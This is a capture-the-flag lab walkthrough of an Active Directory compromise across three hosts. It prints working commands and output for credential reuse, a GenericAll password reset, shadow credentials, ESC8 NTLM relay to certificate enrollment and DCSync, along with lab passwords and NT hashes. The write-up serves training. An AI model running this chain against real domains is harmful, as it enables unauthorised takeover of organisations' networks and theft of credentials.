Overview

The machine starts by rdp into the standalone nexus host as xiao.ge to recover a confidential archive from the recycle bin that leaks domain credentials, using guy.rookie's genericall to reset jena.yamazaki and shadow credentials over mike.silver to join the shares_operators group and access the tools share. The chain continues with esc8 on dc2's web enrollment, coercing dc1 to relay for a domain controller certificate that enables dcsync to get shell as administrator on dc2 and retrieve the user flag as wang.kali on dc1

For this engagement we perform internal penetration testing processing over the network, and target is 3 servers in this lab not one we are given DC1, DC2, Nexus This is assumed breached lab with the given credentials xiao.ge:AmBZATVjnH4qo8H4 so let's start.

I will start with the nexus machine.

Enumeration

We'll start enumerating the network one by one.

Nexus

  • Nexus exposes HTTP, SMB, RDP
  • The hostname for nexus is EC2AMAZ-GQCP864.
  • Don't know the domain name for it though.

DC1

This exposes much more which is natural cause it is a DC.

  • domain name is dismay.hsm and FQDN is DC1.dismay.hsm
  • There is ADCS in place but I guess it is on DC2 cause the CA name is dismay-DC2-CA.

Yet another DC with the same domain name so I guess it is just there for the AD CS.

Validating the user against the 3 targets indicates what I already expected, the nexus target or this EC2AMAZ is a standalone server with its own local SAM database, meaning it isn't a domain joined machine and I guess it is only there as a hop for entry so let's setup the environment and start attacking.

bash 
┌─[vpn.coursestack.com 10.200.81.32]─[jimmex@attacker]─[~/hacksmarter/dismay]
└──╼ [★]$ nxc smb 10.1.79.47 -u xiao.ge -p 'AmBZATVjnH4qo8H4'
SMB 10.1.79.47 445 EC2AMAZ-GQCP864 [*] Windows Server 2022 Build 20348 x64 (name:EC2AMAZ-GQCP864) (domain:EC2AMAZ-GQCP864) (signing:False) (SMBv1:None)
SMB 10.1.79.47 445 EC2AMAZ-GQCP864 [+] EC2AMAZ-GQCP864\xiao.ge:AmBZATVjnH4qo8H4
┌─[vpn.coursestack.com 10.200.81.32]─[jimmex@attacker]─[~/hacksmarter/dismay]
└──╼ [★]$ nxc smb 10.1.34.136 -u xiao.ge -p 'AmBZATVjnH4qo8H4'
SMB 10.1.34.136 445 DC1 [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:dismay.hsm) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.1.34.136 445 DC1 [-] dismay.hsm\xiao.ge:AmBZATVjnH4qo8H4 STATUS_LOGON_FAILURE
┌─[vpn.coursestack.com 10.200.81.32]─[jimmex@attacker]─[~/hacksmarter/dismay]
└──╼ [★]$ nxc smb 10.1.225.97 -u xiao.ge -p 'AmBZATVjnH4qo8H4'
SMB 10.1.225.97 445 DC2 [*] Windows Server 2022 Build 20348 x64 (name:DC2) (domain:dismay.hsm) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.1.225.97 445 DC2 [-] dismay.hsm\xiao.ge:AmBZATVjnH4qo8H4 STATUS_LOGON_FAILURE

Now our hosts file is ready let's start attacking.

bash 
┌─[vpn.coursestack.com 10.200.81.32]─[jimmex@attacker]─[~/hacksmarter/dismay]
└──╼ [★]$ echo "10.1.34.136 dc1.dismay.hsm dismay.hsm DC1" | sudo tee -a /etc/hosts
10.1.34.136 dc1.dismay.hsm dismay.hsm DC1
┌─[vpn.coursestack.com 10.200.81.32]─[jimmex@attacker]─[~/hacksmarter/dismay]
└──╼ [★]$ echo "10.1.225.97 dc2.dismay.hsm DC2" | sudo tee -a /etc/hosts
10.1.225.97 dc2.dismay.hsm DC2
┌─[vpn.coursestack.com 10.200.81.32]─[jimmex@attacker]─[~/hacksmarter/dismay]
└──╼ [★]$ echo "10.1.79.47 ec2amaz-gqcp864" | sudo tee -a /etc/hosts
10.1.79.47 ec2amaz-gqcp864

Nexus

let's role out the low hanging fruits

SMB

There is some non-standard shares that we can take a look at and maybe we can get lucky.

bash 
┌─[vpn.coursestack.com 10.200.81.32]─[jimmex@attacker]─[~/hacksmarter/dismay]
└──╼ [★]$ nxc smb ec2amaz-gqcp864 -u xiao.ge -p 'AmBZATVjnH4qo8H4' --shares
SMB 10.1.79.47 445 EC2AMAZ-GQCP864 [*] Windows Server 2022 Build 20348 x64 (name:EC2AMAZ-GQCP864) (domain:EC2AMAZ-GQCP864) (signing:False) (SMBv1:None)
SMB 10.1.79.47 445 EC2AMAZ-GQCP864 [+] EC2AMAZ-GQCP864\xiao.ge:AmBZATVjnH4qo8H4
SMB 10.1.79.47 445 EC2AMAZ-GQCP864 [*] Enumerated shares
SMB 10.1.79.47 445 EC2AMAZ-GQCP864 Share Permissions Remark
SMB 10.1.79.47 445 EC2AMAZ-GQCP864 ----- ----------- ------
SMB 10.1.79.47 445 EC2AMAZ-GQCP864 ADMIN$ Remote Admin
SMB 10.1.79.47 445 EC2AMAZ-GQCP864 C$ Default share
SMB 10.1.79.47 445 EC2AMAZ-GQCP864 IPC$ READ Remote IPC
SMB 10.1.79.47 445 EC2AMAZ-GQCP864 UpdateServicesPackages READ A network share to be used by client systems for collecting all software packages (usually applications) published on this WSUS system.
SMB 10.1.79.47 445 EC2AMAZ-GQCP864 WsusContent READ A network share to be used by Local Publishing to place published content on this WSUS system.
SMB 10.1.79.47 445 EC2AMAZ-GQCP864 WSUSTemp A network share used by Local Publishing from a Remote WSUS Console Instance.

First one got text file.

bash 
┌─[vpn.coursestack.com 10.200.81.32]─[jimmex@attacker]─[~/hacksmarter/dismay]
└──╼ [★]$ smbclient //10.1.79.47/WsusContent -Uxiao.ge%'AmBZATVjnH4qo8H4'
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Wed Aug 12 18:06:23 2026
  ..                                  D        0  Tue Mar 10 11:06:38 2026
  anonymousCheckFile.txt              A        0  Mon Feb  9 09:10:36 2026

                7863807 blocks of size 4096. 3241215 blocks available
smb: \> get anonymousCheckFile.txt
getting file \anonymousCheckFile.txt of size 0 as anonymousCheckFile.txt (0.0 KiloBytes/sec) (average 0.0 KiloBytes/sec)
smb: \> exit

The second is empty.

bash 
┌─[vpn.coursestack.com 10.200.81.32]─[jimmex@attacker]─[~/hacksmarter/dismay]
└──╼ [★]$ smbclient //10.1.79.47/UpdateServicesPackages -Uxiao.ge%'AmBZATVjnH4qo8H4'
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Mon Feb  9 09:06:15 2026
  ..                                  D        0  Tue Mar 10 11:06:38 2026

                7863807 blocks of size 4096. 3241215 blocks available
smb: \>

The check file is also empty file so let's move on.

RDP as xiao.ge

And of course because it is a standalone machine the creds are also valid for RDP.

bash 
┌─[vpn.coursestack.com 10.200.81.32]─[jimmex@attacker]─[~/hacksmarter/dismay]
└──╼ [★]$ nxc rdp ec2amaz-gqcp864 -u xiao.ge -p 'AmBZATVjnH4qo8H4'
RDP 10.1.79.47 3389 EC2AMAZ-GQCP864 [*] Windows 10 or Windows Server 2016 Build 20348 (name:EC2AMAZ-GQCP864) (domain:EC2AMAZ-GQCP864) (nla:True)
RDP 10.1.79.47 3389 EC2AMAZ-GQCP864 [+] EC2AMAZ-GQCP864\xiao.ge:AmBZATVjnH4qo8H4 (Pwn3d!)

connect over RDP

plaintext 
┌─[vpn.coursestack.com 10.200.81.32]─[jimmex@attacker]─[~/hacksmarter/dismay]
└──╼ [★]$ xfreerdp3 /v:10.1.79.47 /u:xiao.ge /p:AmBZATVjnH4qo8H4 /dynamic-resolution /drive:loot,loot

Something caught my eyes right away, the recycle-bin isn't empty and it has some files that I guess should be important so let's move them back to our box to look further. ss_20260812_182016.png

System Audit file ss_20260812_182530.png

got some usernames here, and multiple good information ss_20260812_182620.png

another set of credentials ss_20260812_182708.png

So as instructed I tried unzipping the file using the password Spring_2026_Temp! and it actually worked so let's see what is this confidential file.

bash 
┌─[vpn.coursestack.com 10.200.81.32]─[jimmex@attacker]─[~/hacksmarter/dismay/loot]
└──╼ [★]$ 7z x Confidential.7z

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=C.UTF-8,Utf16=on,HugeFiles=on,64 bits,128 CPUs Intel(R) Core(TM) i7-6700HQ CPU @ 2.60GHz (506E3),ASM,AES-NI)

Scanning the drive for archives:
1 file, 3754 bytes (4 KiB)

Extracting archive: Confidential.7z
--
Path = Confidential.7z
Type = 7z
Physical Size = 3754
Headers Size = 154
Method = LZMA2:6k 7zAES
Solid = -
Blocks = 1


Enter password (will not be echoed):
Everything is Ok

Size: 5359
Compressed: 3754

This document presents some issues in the environment, and leaked another two credentials. ss_20260812_183210.png

So what we got so far is: Credentials

plaintext 
svc_scanner:O0Aco9FQJQ
guy.rookie:O0Aco9FQJQ
staging_admin:Spring_2026_Temp!

And multiple username candidates

  • Lee.Kai
  • v.marcus or marcus.v
  • nadia.robin
  • SVC_SQL_01

Access as guy.rookie on DC

Testing the creds, only one was valid which is the guy.rookie password.

bash 
┌─[vpn.coursestack.com 10.200.81.32]─[jimmex@attacker]─[~/hacksmarter/dismay]
└──╼ [★]$ nxc smb 10.1.34.136 -u users.txt -p passwords.txt --continue-on-success | grep -v FAILURE
SMB 10.1.34.136 445 DC1 [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:dismay.hsm) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.1.34.136 445 DC1 [+] dismay.hsm\guy.rookie:O0Aco9FQJQ

Some standard shares and we don't have read over tools, so let's move on to LDAP and collect data for BloodHound.

bash 
┌─[vpn.coursestack.com 10.200.81.32]─[jimmex@attacker]─[~/hacksmarter/dismay]
└──╼ [★]$ nxc smb 10.1.34.136 -u guy.rookie -p O0Aco9FQJQ --shares
SMB 10.1.34.136 445 DC1 [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:dismay.hsm) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.1.34.136 445 DC1 [+] dismay.hsm\guy.rookie:O0Aco9FQJQ
SMB 10.1.34.136 445 DC1 [*] Enumerated shares
SMB 10.1.34.136 445 DC1 Share Permissions Remark
SMB 10.1.34.136 445 DC1 ----- ----------- ------
SMB 10.1.34.136 445 DC1 ADMIN$ Remote Admin
SMB 10.1.34.136 445 DC1 C$ Default share
SMB 10.1.34.136 445 DC1 IPC$ READ Remote IPC
SMB 10.1.34.136 445 DC1 NETLOGON READ Logon server share
SMB 10.1.34.136 445 DC1 SYSVOL READ Logon server share
SMB 10.1.34.136 445 DC1 Tools

And we got the data let's see what we can find.

Access as Jena/Yamazaki

And we can change the password over Jena Yamazaki so let's do that. ss_20260812_191455.png

the password is changed

bash 
┌─[vpn.coursestack.com 10.200.81.32]─[jimmex@attacker]─[~/hacksmarter/dismay]
└──╼ [★]$ bloodyAD --host 10.1.34.136 -u guy.rookie -p O0Aco9FQJQ -d dismay.hsm set password jena.yamazaki 'Password123!'
[+] Password changed successfully!

Access as Mike.sliver

And the user Jena got generic all over mike so let's shadow credential. ss_20260812_191756.png

and we got the hash for that user

bash 
┌─[vpn.coursestack.com 10.200.81.32]─[jimmex@attacker]─[~/hacksmarter/dismay]
└──╼ [★]$ certipy shadow auto -u jena.yamazaki -p 'Password123!' -dc-ip 10.1.34.136 -account mike.silver
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Targeting user 'mike.silver'
[*] Generating certificate
[*] Certificate generated
[*] Generating Key Credential
[*] Key Credential generated with DeviceID '4905e43021c942ae90791d29dbdc3c5b'
[*] Adding Key Credential with device ID '4905e43021c942ae90791d29dbdc3c5b' to the Key Credentials for 'mike.silver'
[*] Successfully added Key Credential with device ID '4905e43021c942ae90791d29dbdc3c5b' to the Key Credentials for 'mike.silver'
[*] Authenticating as 'mike.silver' with the certificate
[*] Certificate identities:
[*]     No identities found in this certificate
[*] Using principal: 'mike.silver@dismay.hsm'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'mike.silver.ccache'
[*] Wrote credential cache to 'mike.silver.ccache'
[*] Trying to retrieve NT hash for 'mike.silver'
[*] Restoring the old Key Credentials for 'mike.silver'
[*] Successfully restored the old Key Credentials for 'mike.silver'
[*] NT hash for 'mike.silver': 148715152d21753e1407b605ec79e674

Add Mike.sliver to Shares_Operators

And mike can add a member to this group, the group itself doesn't give us any extra DACL configuration but it let us access the tools share as shown in the description so let's add someone to that group. ss_20260812_192050.png

And now mike can access that share so let's see what's there.

bash 
┌─[vpn.coursestack.com 10.200.81.32]─[jimmex@attacker]─[~/hacksmarter/dismay]
└──╼ [★]$ bloodyAD --host 10.1.34.136 -u mike.silver -p :148715152d21753e1407b605ec79e674 -d dismay.hsm add groupMember "Shares_Operators" 'mike.silver'
[+] mike.silver added to Shares_Operators

SMB as mike.sliver

as you can see now we have read and write

bash 
┌─[vpn.coursestack.com 10.200.81.32]─[jimmex@attacker]─[~/hacksmarter/dismay]
└──╼ [★]$ nxc smb 10.1.34.136 -u mike.silver -H 148715152d21753e1407b605ec79e674 --shares
SMB 10.1.34.136 445 DC1 [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:dismay.hsm) (signing:True) (SMBv1:None) (Null Auth:True)
SMB 10.1.34.136 445 DC1 [+] dismay.hsm\mike.silver:148715152d21753e1407b605ec79e674
SMB 10.1.34.136 445 DC1 [*] Enumerated shares
SMB 10.1.34.136 445 DC1 Share Permissions Remark
SMB 10.1.34.136 445 DC1 ----- ----------- ------
SMB 10.1.34.136 445 DC1 ADMIN$ Remote Admin
SMB 10.1.34.136 445 DC1 C$ Default share
SMB 10.1.34.136 445 DC1 IPC$ READ Remote IPC
SMB 10.1.34.136 445 DC1 NETLOGON READ Logon server share
SMB 10.1.34.136 445 DC1 SYSVOL READ Logon server share
SMB 10.1.34.136 445 DC1 Tools READ,WRITE

There are some files on this share mostly are standard stuff like notepad, Microsoft Paint and DISM which is Deployment Image Servicing and Management and osk which might be on-screen keyboard but there is the notes.txt file.

bash 
┌─[vpn.coursestack.com 10.200.81.32]─[jimmex@attacker]─[~/hacksmarter/dismay]
└──╼ [★]$ smbclient.py dismay.hsm/mike.silver@10.1.34.136 -hashes :148715152d21753e1407b605ec79e674
Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies

Type help for list of commands
# use Tools
# ls
drw-rw-rw- 0 Wed Aug 12 19:23:28 2026 .
drw-rw-rw- 0 Fri Dec 12 03:58:08 2025 ..
-rw-rw-rw- 329072 Fri Dec 12 04:09:18 2025 Dism.exe
-rw-rw-rw- 909312 Fri Dec 12 04:09:18 2025 mspaint.exe
-rw-rw-rw- 628 Fri Dec 12 04:09:18 2025 note.txt
-rw-rw-rw- 225280 Fri Dec 12 04:09:18 2025 notepad.exe
-rw-rw-rw- 708608 Fri Dec 12 04:09:18 2025 osk.exe
#

Looks like kali pissed someone, supposed to push some kind of binary but it is corrupted so let's see what happens if we upload a malicious executable.

bash 
┌─[vpn.coursestack.com 10.200.81.32]─[jimmex@attacker]─[~/hacksmarter/dismay]
└──╼ [★]$ cat note.txt
From: Adrian Thompson < adrian.thompson@dismay.hsm>
To: Kali Wang < wang.kali@dismay.hsm>
Subject: FINAL WARNING - Fix that broken executable NOW

Kali,

This is the third time this month. The binary you deployed last Thursday is completely broken. Users are screaming, auditors are asking questions, and I'm the one getting heat from upstairs. You have until 17:00 tomorrow to deliver a working file or you're done. HR is already on standby. I've had it with your "it works on my machine" excuses.

Get it fixed, push the new file. No more chances.

I'm not bluffing.

- Adrian
IT Security Administrator
DISMAY Ltd.

turned out all uploaded executables to the share are deleted somehow, even legit executables so nothing we can do here for now. I mean we can try uploading some .library-ms and .lnk but I don't think this is the way here

ADCS on DC2

We forgot about DC2 for a second here, so I went back to enumerate the ADCS for any ESC attacks and it was vulnerable to ESC8 meaning we can relay the DC2 authentication to the enrollment service endpoint, and this will be accepted without any review and we get a valid PFX file that we can authenticate with.

Start the relay server.

bash 
┌─[vpn.coursestack.com 10.200.81.32]─[jimmex@attacker]─[~/hacksmarter/dismay]
└──╼ [★]$ ntlmrelayx.py -t http://10.1.225.97/certsrv/certfnsh.asp --adcs --template DomainController -smb2support
Impacket v0.14.0.dev0+20260407.172353.7fc084ad - Copyright Fortra, LLC and its affiliated companies

And as you can see we use the jena user to coerce the DC1 to authenticate back to us (in context of DC1) then we relay that authentication back to the web enrollment endpoint which returns a PFX file back to us. ss_20260812_203600.png

DCSync using DC1$

And we got the DC1$ machine domain hash, meaning we can DCSync the entire domain.

bash 
┌─[vpn.coursestack.com 10.200.81.32]─[jimmex@attacker]─[~/hacksmarter/dismay]
└──╼ [★]$ certipy auth -pfx DC1.pfx -dc-ip 10.1.34.136
Certipy v5.0.4 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN DNS Host Name: 'DC1.dismay.hsm'
[*]     Security Extension SID: 'S-1-5-21-1359501962-4064634841-3558559731-1000'
[*] Using principal: 'dc1$@dismay.hsm'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'dc1.ccache'
[*] Wrote credential cache to 'dc1.ccache'
[*] Trying to retrieve NT hash for 'dc1$'
[*] Got hash for 'dc1$@dismay.hsm': aad3b435b51404eeaad3b435b51404ee:40f4d742e57353e29b03650427b46b8b

And we get the entire domain credentials as you can see.

The user flag is under wang.kali on DC1 so I guess the root is on DC2 cause it isn't under administrator at DC1.

plaintext 
*Evil-WinRM* PS C:\Users\wang.kali\Desktop> type user.txt
26b38a5fb0d9e0e25417c5b66e9d8b89

And as expected it is on DC2.

plaintext 
*Evil-WinRM* PS C:\Users\Administrator\Desktop> hostname
DC2
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
1f537db48162a3f58527b03d6fbb0bda

The author writeup showed some cool stuff in the alternative section. Instead of finding the files right away in the recycle bin he abused WSUS CVE to get a shell as NT AUTHORITY\NETWORK which gives SeImpersonate privileges where he used Sliver with stager to get SYSTEM on nexus then found the same file on administrator desktop so it is worth looking at it.

Path

Pasted image 20260821210959.png

Resources